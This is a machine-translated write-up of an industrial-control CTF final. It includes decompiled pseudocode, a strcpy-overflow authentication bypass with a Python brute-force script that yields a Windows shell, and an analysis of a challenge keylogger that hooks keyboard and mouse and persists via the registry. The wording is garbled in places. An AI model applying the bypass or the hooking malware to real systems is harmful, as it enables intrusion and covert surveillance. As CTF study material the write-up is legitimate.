By flappypig
Estimated contribution fee: 300RMB
Submission method: send an email to Linwei Chen 360.cn, or log in to the web page for online submission
Write before:
This time, Kaspersky hosted the industrial control CTF with a lot of fun and slots, and the two organizers were very handsome. But there is a little brother with a strong Russian style in English. If you want to understand him, you need to listen to him several times
The whole CTF of industrial control penetrates the intranet of an industrial enterprise, starting with WiFi.
To put it simply, I'll give you a WiFi and a USB flash drive at the beginning of the game, and the rest depends on guessing
0x01# RShell.dmp
At the beginning, the organizer provided a USB flash disk, and scenario setting was the files stolen from the factory.
There is a file called rshell.dmp in it. After the file is found, it is the dump of an EXE file.
Decompile the dump file and find that it is actually a program for logging in.
The main function is above 0xcc1210.
int real_main()
{
char **v0; // [email protected]
char **v1; // [email protected]
char hObject; // [sp+0h] [bp-8h]@1
HANDLE hObjecta; // [sp+0h] [bp-8h]@2
DWORD ThreadId; // [sp+4h] [bp-4h]@1
ThreadId = 0;
hObject = (unsigned int)CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
if ( auth() )
{
print((int)aCredentialsAre, hObject);
v1 = get_fd();
fflush((FILE *)v1 + 1);
}
else
{
print((int)aRemoteAssistan, hObject);
v0 = get_fd();
fflush((FILE *)v0 + 1);
system(aCmd);
}
CloseHandle(hObjecta);
return 0;
}
If you pass the verification, you will get a shell of the host. We need to find a way to return 0 to this auth function. The general logic of auth function is as follows.
int auth()
{
char **fd; // [email protected]
char v2; // [sp+0h] [bp-114h]@0
int v3; // [sp+4h] [bp-110h]@5
signed int v4; // [sp+8h] [bp-10Ch]@6
unsigned int i; // [sp+Ch] [bp-108h]@3
char v6; // [sp+10h] [bp-104h]@11
char v7; // [sp+68h] [bp-ACh]@11
char input[68]; // [sp+78h] [bp-9Ch]@1
char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
char v10; // [sp+CCh] [bp-48h]@1
char md5_digest[16]; // [sp+100h] [bp-14h]@1
md5_digest[0] = 0;
md5_digest[1] = 0xF;
md5_digest[2] = 1;
md5_digest[3] = 0xE;
md5_digest[4] = 2;
md5_digest[5] = 0xD;
md5_digest[6] = 3;
md5_digest[7] = 0xC;
md5_digest[8] = 4;
md5_digest[9] = 0xB;
md5_digest[10] = 5;
md5_digest[11] = 0xA;
md5_digest[12] = 6;
md5_digest[13] = 9;
md5_digest[14] = 7;
md5_digest[15] = 8;
print((int)aPleaseAuthoriz, v2);
fd = get_fd();
fflush((FILE *)fd + 1);
memset(input, 0, 68u);
memset(first_16_bytes, 0, 16u);
memset(&v10, 0, 52u);
while ( !scanf(a68s, input) )
;
memmove(first_16_bytes, input, 0x10u);
for ( i = 0; i < 0x10; ++i )
{
v3 = isprint(first_16_bytes[i]) == 0;
if ( first_16_bytes[i] == aRemoteassistan[i] )
v4 = 0;
else
v4 = -1;
if ( v4 + v3 )
return -1;
}
strcpy(&v10, &input[16]);
MD5_init((int)&v6);
MD5_update((int)&v6, &v10, 0x34u);
MD5_final(&v6);
return memcmp(md5_digest, &v7, 0x10u);
}
1. Set the last built-in MD5 comparison value MD5 digest,
2. Read 68 bytes into input
3. Memmove the first 16 bytes of input to the first 16 bytes
4. Judge whether the first_16_bytes is a visible character and compare it with the string "remoteassistant:" or not
5. Start from the 16th character of input and start strcpy in v10
6. Carry out MD5 hash for v10. V6 is the result of MD5 CTX structure digest and exists in v7.
7. Finally, if V7 and MD5 Digest are equal, 0 will be returned.
At first glance, there may be no problem. But if you look closely, you will find that strcpy function may have problems.
When the input is exactly 68 bytes.
Because first_16_bytes is just after input, all of them are copied to V10 at strcpy.
char input[68]; // [sp+78h] [bp-9Ch]@1
char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
char v10; // [sp+CCh] [bp-48h]@1
char md5_digest[16]; // [sp+100h] [bp-14h]@1
And under V10 is MD5 digest, so this value will be overwritten.
However, if you want to override MD5 digest to any value, you must try to pass the if (first_16_bytes [i] = = a remoteassistan [i]) verification.
v3 = isprint(first_16_bytes[i]) == 0;
if ( first_16_bytes[i] == aRemoteassistan[i] )
v4 = 0;
else
v4 = -1;
if ( v4 + v3 )
return -1;
This code here is actually passable. Because if the parameter of isprint is not a visible character, isprint will return 1. In this way, the first_16_bytes does not need to be equal to the string "remoteassistant:" for example.
So we have to find a 52bytes string where MD5 digest is all invisible characters. In this way, MD5 digest can be overwritten during strcpy, which is verified.
In addition, there was a comparison pit where strcpy used nullbyte to judge whether there was an end. So the last byte of MD5 digest should be X00.
import hashlib
import string
def MD5(s):
return hashlib.md5(s).digest()
def check(s):
for i in s:
if i in string.printable:
return False
if s[-1:] != 'x00':
return False
return True
#print len(MD5('1'))
a = 'a' * 49
for i in range(1, 255):
for j in range(1, 255):
for k in range(1, 255):
md5_value = MD5(a + chr(i) + chr(j) + chr(k))
if check(md5_value):
print a + chr(i) + chr(j) + chr(k)
print MD5(a + chr(i) + chr(j) + chr(k)).encode('hex')
Burst out a string value, add its MD5 to the front and send it directly to the server to get a Windows shell. After that, you can do the following steps
0x02 step by step
Through nmap scanning the C end, you will find that there is a machine under the C end with port 7777 open.
Use exp to get simple permissions.
Then the pit came We have been struggling with how to raise power, and then we want to carry out the next step of infiltration.
After trying for more than half an hour, it didn't work out. Later, the organizer came to ask us how far we have come and answered truthfully. The sponsor told us not to mention the rights, but to find suspicious documents. So I started looking for suspicious files
An encase file, 3.6GB, was found in a shared directory.
It took more than half an hour to try to download it
At this time, the organizer came back and asked us to what extent. Continue to answer truthfully, the sponsor said that as long as you find this file, we will give you a U disk, which is the file.
We: WTF?????
Here comes the biggest pit in the whole field. How to load the encase file correctly and extract the contents.
This step took us two hours... Because most of the software is charged, and the green version is too outdated to use.
As a result, we have wasted a lot of time in solving problems
The final solution is to mount the disk with Mount image, and then check the file with diskgenius to find the suspicious file malware.
0x03# Malware
This malware is extracted from the image of the machine. By analyzing this malware, you can find the following things to do.
The code of the main function, which I have analyzed and patched.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // rbx
unsigned int v4; // er8
FILE *v5; // rax
unsigned int v6; // er8
char v7; // al
const char *v8; // rcx
char *v9; // rdx
signed __int64 idx; // r8
_QWORD *v11; // rbx
_QWORD *v12; // rax
__int64 v13; // rax
__int64 v14; // rbx
void *v15; // rax
_QWORD *v16; // rax
_QWORD *v17; // rax
char v19; // [rsp+20h] [rbp-E0h]
char *v20; // [rsp+28h] [rbp-D8h]
__int64 v21; // [rsp+38h] [rbp-C8h]
char homepath; // [rsp+40h] [rbp-C0h]
char v23; // [rsp+60h] [rbp-A0h]
char v24; // [rsp+80h] [rbp-80h]
struct tagMSG Msg; // [rsp+A0h] [rbp-60h]
const void *file_path[4]; // [rsp+D0h] [rbp-30h]
const void *v27[4]; // [rsp+F0h] [rbp-10h]
const void *user_profile[4]; // [rsp+110h] [rbp+10h]
char Dst; // [rsp+130h] [rbp+30h]
v21 = -2i64;
v3 = (char **)argv;
if ( (signed int)time64(0i64) <= 0x7AFFFF7F )
{
LODWORD(v5) = write(
(unsigned __int64)&stdout,
"Hello. This program written only for industrial ctf final. Don't use it for any purporse",
v4);
fflush_0(v5);
v7 = 0;
v19 = 0;
while ( v7 != 78 )
{
write((unsigned __int64)&stdout, "Write [Y]/[N] to continue: ", v6);
scanf(v8, &v19);
v7 = toupper(v19);
v19 = v7;
if ( v7 == 'Y' )
{
if ( check_volume_serial_num() )
{
get_cur_path(&Dst); // RAX : 000000000012FEE0 &L"C:\Users\test\Desktop\industrial_ctf_final_malware.exe"
//
//
get_user_profile(user_profile); // RAX : 000000000012FEC0 &L"C:\Users\test\"
//
v9 = *v3;
idx = -1i64;
do
++idx;
while ( v9[idx] );
sub_14000B500(v27, (__int64)v9, (__int64)&v9[idx]);
v11 = sub_14000B590((__int64)&v24);
v12 = sub_140009C50((__int64)&v23, user_profile);
strcat(file_path, (__int64)v12, v11); // [rbp-30]:L"C:\Users\test\industrial_ctf_final_malware.exe"
finalize((const void **)&v23, 1, 0i64);
finalize((const void **)&v24, 1, 0i64);
v13 = sub_140004CD0(file_path, (__int64)&homepath);
if ( (unsigned __int8)sub_140005740(v13) )
{
v17 = (_QWORD *)sub_14000D3E0();
sub_14000D8D0(v17);
while ( GetMessageA(&Msg, 0i64, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
}
else
{
v20 = &homepath;
v14 = sub_140004CD0(file_path, (__int64)&homepath);
v15 = sub_140006490(&Msg, v27);
if ( registry((__int64)v15, v14) )
{
v16 = sub_140009C50((__int64)&Msg, v27);
clean((__int64)v16);
}
}
finalize(file_path, 1, 0i64);
finalize(v27, 1, 0i64);
finalize(user_profile, 1, 0i64);
finalize((const void **)&Dst, 1, 0i64);
}
return 0;
}
}
}
return 0;
}
It can be seen that it first obtains a time stamp to determine whether the program is executed.
The previous time stamp is just before the start of the 1024 game, so I patch this time so that the program can continue to execute.
After that, the serial number of the volume is checked in the check volume serial num function
bool check_volume_serial_num()
{
[...]
GetDriveTypeA(0i64);
if ( !GetVolumeInformationA(
0i64,
&VolumeNameBuffer,
0x104u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
&FileSystemNameBuffer,
0x104u) )
return 0;
[...]
return VolumeSerialNumber == 0x2D98666;
}
After the return comparison is removed from the patch, the dynamic debugging can be continued by changing the judgment equality to the judgment inequality.
After that, check whether the location where malware is running is HomePath in if ((unsigned ﹐ int8) sub﹐ 140005740 (V13)).
If not, enter the following process, copy the program to HomePath, and then delete the current program.
If it is executed in HomePath, it will enter sub 14000d8d0 for operation.
__int64 __fastcall sub_14000D8D0(_QWORD *a1)
{
[...]
v2 = GetModuleHandleA(0i64);
v3 = v2;
if ( !v2 )
exit(1);
v1[5] = SetWindowsHookExA(13, fn, v2, 0);
v1[6] = SetWindowsHookExA(14, fn, v3, 0);
create_folder(&folder);
sub_14000FC30();
sub_14000FC30();
folder = (__int64 *)&folder;
v5 = Stat(folder, &v15);
v6 = v5 != 8 && v5 != -1;
v7 = v6 == 0;
finalize((const void **)&folder, 1, 0i64);
if ( v7 )
{
create_folder(&folder);
sub_14000BB40(&folder);
finalize((const void **)&folder, 1, 0i64);
}
v10 = sub_14000D750(v8, &folder);
v15 = v10;
if ( v1 + 55 != v10 )
sub_140003050(v1 + 55);
LOBYTE(v9) = 1;
return std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(v10, v9, 0i64);
}
The general processing flow of this function is as follows: first, the event wh? Keyword? Ll and the event wh? Mouse? Ll are hook through setwindowshookexa.
The FN function is to create a screenshot in the data file home when there is a keyboard operation or mouse click.
LRESULT __fastcall fn(int code, WPARAM wParam, LPARAM lParam)
{
LPARAM v3; // rsi
WPARAM v4; // rdi
int v5; // er14
_QWORD *v6; // rbx
_QWORD *v7; // rbx
__m128i v8; // xmm6
__int64 v9; // rax
__int64 v10; // rcx
char v12; // [rsp+38h] [rbp-A0h]
__int128 v13; // [rsp+48h] [rbp-90h]
__int64 Dst; // [rsp+58h] [rbp-80h]
__int64 v15[2]; // [rsp+60h] [rbp-78h]
__int64 v16; // [rsp+70h] [rbp-68h]
void **v17; // [rsp+F0h] [rbp+18h]
Dst = -2i64;
v3 = lParam;
v4 = wParam;
v5 = code;
v6 = *(_QWORD **)&qword_140110118;
if ( !*(_QWORD *)&qword_140110118 )
{
v7 = operator new(0x1D8ui64);
memset(v7, 0, 0x1D8ui64);
v6 = sub_14000BCC0(v7);
*(_QWORD *)&qword_140110118 = v6;
}
if ( v5 >= 0 )
{
if ( !((v4 - 256) & 0xFFFFFFFFFFFFFFFBui64) )
{
*(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
switch ( *(_DWORD *)v3 )
{
case 0xA0:
*((_BYTE *)v6 + 36) = 1;
break;
case 0xA1:
*((_BYTE *)v6 + 37) = 1;
break;
case 0xA2:
*((_BYTE *)v6 + 34) = 1;
break;
case 0xA3:
*((_BYTE *)v6 + 35) = 1;
break;
case 0xA4:
*((_BYTE *)v6 + 32) = 1;
break;
case 0xA5:
*((_BYTE *)v6 + 33) = 1;
break;
default:
sub_14000DA20((__int64)v6, *(_DWORD *)v3);
break;
}
}
if ( !((v4 - 257) & 0xFFFFFFFFFFFFFFFBui64) )
{
*(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
switch ( *(_DWORD *)v3 )
{
case 0xA0:
*((_BYTE *)v6 + 36) = 0;
break;
case 0xA1:
*((_BYTE *)v6 + 37) = 0;
break;
case 0xA2:
*((_BYTE *)v6 + 34) = 0;
break;
case 0xA3:
*((_BYTE *)v6 + 35) = 0;
break;
case 0xA4:
*((_BYTE *)v6 + 32) = 0;
break;
case 0xA5:
*((_BYTE *)v6 + 33) = 0;
break;
default:
break;
}
}
if ( v4 == 0x201 || v4 == 0x206 )
{
v8 = *(__m128i *)v3;
v13 = *(_OWORD *)(v3 + 16);
memset(&Dst, 0, 0xF8ui64);
sub_14000E290(&Dst);
_mm_storeu_si128((__m128i *)v15, (__m128i)0i64);
v16 = 0i64;
sub_140010E70(_mm_cvtsi128_si32(v8) - 50, _mm_cvtsi128_si32(_mm_srli_si128(v8, 4)) - 50, (__int64)v15);
v9 = sub_140006300(&v12, v15);
sub_1400050F0(v10, v9);
v15[1] = v15[0];
sub_140007BB0(v15);
sub_14000E150(&v17);
v17 = &std::ios_base::`vftable';
std::ios_base::_Ios_base_dtor((struct std::ios_base *)&v17);
}
}
return CallNextHookEx((HHOOK)v6[5], v5, v4, v3);
}
The approximate results are as follows
So the next work is to find the next clue under the data folder of the user directory.
The data directory is on the disk mounted in the previous step, and the following questions haven't been followed up yet.
0x04 write at the end
Thank you very much for the opportunity given by geekpwn official to participate in the CTF of industrial control, and also feel the lack of their own strength.
If you want to study the topic, you can write @ mmmxny on Weibo. I can share the file with you.